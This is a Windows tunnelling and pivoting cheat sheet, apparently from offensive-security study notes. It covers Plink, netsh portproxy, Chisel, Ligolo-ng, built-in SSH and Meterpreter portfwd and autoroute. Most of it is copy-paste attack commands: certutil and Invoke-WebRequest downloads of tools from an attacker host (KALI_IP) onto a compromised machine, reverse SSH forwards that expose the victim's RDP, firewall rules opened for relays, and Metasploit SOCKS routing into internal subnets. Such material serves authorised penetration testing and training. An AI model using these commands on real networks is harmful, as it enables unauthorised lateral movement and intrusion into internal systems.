Windows Tunneling — Complete Reference
Overview
When you land on a Windows pivot host and need to tunnel through it, you have several options depending on what’s available:
| Method | Requires | Best For |
|---|---|---|
Chisel .exe | Binary upload | HTTP tunnel through firewalls, SOCKS5 |
| Plink.exe | Binary upload | SSH tunneling (Windows SSH client) — Plink |
| netsh portproxy | Nothing (built-in) | Simple port relay, no binary — Netsh |
| PowerShell SSH | Win10/Server2019+ | Built-in SSH available |
| Ligolo agent.exe | Binary upload | Full subnet, cleanest option |
📌 1) Plink.exe — SSH Tunneling for Windows
Full reference → Plink
Plink is the command-line version of PuTTY — a standalone SSH client for Windows. Located on Kali at /usr/share/windows-binaries/plink.exe.
# Transfer to Windows target
scp /usr/share/windows-binaries/plink.exe user@TARGET:C:\Temp\plink.exe
# or via HTTP
python3 -m http.server 8080
# On target: certutil -urlcache -split -f http://KALI_IP:8080/plink.exe C:\Temp\plink.exeLocal Port Forward (Windows → Kali → Internal)
REM Forward local port 8080 on Windows pivot to internal host 172.16.0.5:80
REM via SSH connection back to Kali
plink.exe -l kali_user -pw password -L 8080:172.16.0.5:80 KALI_IP
REM Non-interactive (accept host key automatically)
echo y | plink.exe -l kali_user -pw password -L 8080:172.16.0.5:80 KALI_IPRemote Port Forward (Expose Windows Port on Kali)
REM Expose Windows RDP (3389) on Kali port 9090
plink.exe -l kali_user -pw password -R 9090:127.0.0.1:3389 KALI_IP
REM On Kali — now access Windows RDP via:
xfreerdp3 /u:Administrator /p:Password1 /v:127.0.0.1:9090
REM Accept key automatically + run in background
echo y | plink.exe -l root -pw toor -R 9090:127.0.0.1:3389 KALI_IP -N -batchDynamic SOCKS Proxy (Windows → Kali acts as proxy)
REM Create SOCKS proxy on Kali port 1080 via Windows pivot
plink.exe -l kali_user -pw password -D 1080 KALI_IP
REM Accept host key prompt automatically
echo y | plink.exe -l kali_user -pw password -D 1080 KALI_IP -NUsing Private Keys with Plink
Important: Plink uses
.ppkformat (PuTTY), not OpenSSH format.
# On Kali — convert OpenSSH key to PuTTY .ppk format
sudo apt install putty-tools
puttygen id_rsa -o id_rsa.ppk
# Transfer id_rsa.ppk to Windows target
# Then use with plink:
plink.exe -i C:\Temp\id_rsa.ppk user@KALI_IP -R 4444:127.0.0.1:4444 -N📌 2) netsh portproxy — Built-in Windows Port Forwarding
Full reference → Netsh
netsh portproxy is a built-in Windows command requiring no extra binaries. Requires administrator privileges.
REM Forward local port 8080 to internal host
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.0.5
REM Forward RDP to internal host
netsh.exe interface portproxy add v4tov4 listenport=3389 listenaddress=0.0.0.0 connectport=3389 connectaddress=172.16.0.10
REM View configured proxies
netsh.exe interface portproxy show all
netsh.exe interface portproxy show v4tov4
REM Delete a rule
netsh.exe interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
REM Flush all rules
netsh.exe interface portproxy resetAllow the Port Through Windows Firewall
If the firewall blocks the port you’re forwarding:
REM Allow inbound on port 8080
netsh advfirewall firewall add rule name="Pivot Port 8080" protocol=TCP dir=in localport=8080 action=allow
REM Remove rule when done
netsh advfirewall firewall delete rule name="Pivot Port 8080"Practical Example
REM Scenario: Kali can reach Windows pivot (10.10.10.5)
REM Internal host 172.16.0.10:80 is only reachable from the pivot
REM On Windows pivot (admin shell):
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.0.10
netsh advfirewall firewall add rule name="Pivot" protocol=TCP dir=in localport=8080 action=allow
REM On Kali:
curl http://10.10.10.5:8080 # Reaches 172.16.0.10:80
gobuster dir -u http://10.10.10.5:8080 -w wordlist.txt📌 3) Chisel on Windows
Chisel is the most versatile option — HTTP-based tunnel that bypasses most firewalls. See Chisel for the full reference. Windows-specific notes:
# Download chisel.exe on Windows target
iwr -Uri http://KALI_IP:8080/chisel.exe -OutFile C:\Temp\chisel.exe
certutil -urlcache -split -f http://KALI_IP:8080/chisel.exe C:\Temp\chisel.exe
# Reverse SOCKS (most common pattern)
# Kali:
chisel server -p 8000 --reverse
# Windows pivot:
C:\Temp\chisel.exe client KALI_IP:8000 R:socks
# Local forward from Windows pivot
C:\Temp\chisel.exe client KALI_IP:8000 R:8080:172.16.0.5:80📌 4) Ligolo-ng Agent on Windows
# Download agent.exe
iwr -Uri http://KALI_IP:8080/agent.exe -OutFile C:\Temp\agent.exe
# Connect to Kali proxy
C:\Temp\agent.exe -connect KALI_IP:11601 -ignore-certSee Ligolo-ng for full setup steps.
📌 5) PowerShell Built-in SSH (Windows 10 / Server 2019+)
# Check if SSH is available
Get-Command ssh
ssh -V
# Local port forward
ssh -L 8080:172.16.0.5:80 kali_user@KALI_IP -N
# Dynamic SOCKS proxy
ssh -D 1080 kali_user@KALI_IP -N -f
# Remote port forward (expose local port to Kali)
ssh -R 4444:127.0.0.1:4444 kali_user@KALI_IP -N
# Start OpenSSH service (requires admin)
Start-Service sshd
Set-Service -Name sshd -StartupType 'Automatic'📌 6) Meterpreter portfwd (if Metasploit session)
# In a meterpreter session
meterpreter > portfwd add -l 8080 -p 80 -r 172.16.0.5
# Now connect to 127.0.0.1:8080 on Kali to reach 172.16.0.5:80
meterpreter > portfwd list
meterpreter > portfwd delete -l 8080
# Autoroute — add a route so MSF modules can reach the internal network
meterpreter > run post/multi/manage/autoroute SUBNET=172.16.0.0/24 NETMASK=255.255.255.0
meterpreter > run autoroute -s 172.16.0.0/24
# Start SOCKS proxy via MSF (allows proxychains)
msf> use auxiliary/server/socks_proxy
msf> set SRVHOST 127.0.0.1
msf> set SRVPORT 1080
msf> set VERSION 5
msf> run -j
# proxychains config → socks5 127.0.0.1 1080📌 Decision Guide — No Binary Upload Possible?
If you cannot upload any binary to the Windows target, you still have options:
REM 1. netsh portproxy — zero dependencies, admin required
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.0.5
REM 2. PowerShell built-in SSH (Windows 10/Server 2019+)
ssh -L 8080:172.16.0.5:80 kali_user@KALI_IP -N
REM 3. certutil download + run (still requires admin or execution)
certutil -urlcache -split -f http://KALI_IP:8080/chisel.exe C:\Temp\chisel.exe📌 Quick Cheat Sheet (Copy/Paste)
REM Plink — remote forward (expose Windows port on Kali)
echo y | plink.exe -l root -pw toor -R 9090:127.0.0.1:3389 KALI_IP -N
REM Plink — dynamic SOCKS
echo y | plink.exe -l root -pw toor -D 1080 KALI_IP -N
REM netsh — port relay (no binary needed, admin required)
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.0.5
netsh.exe interface portproxy show all
netsh.exe interface portproxy reset
REM Chisel — reverse SOCKS from Windows
C:\Temp\chisel.exe client KALI_IP:8000 R:socks
REM Ligolo agent — full subnet
C:\Temp\agent.exe -connect KALI_IP:11601 -ignore-cert
REM Meterpreter — port forward
portfwd add -l 8080 -p 80 -r 172.16.0.5
run autoroute -s 172.16.0.0/24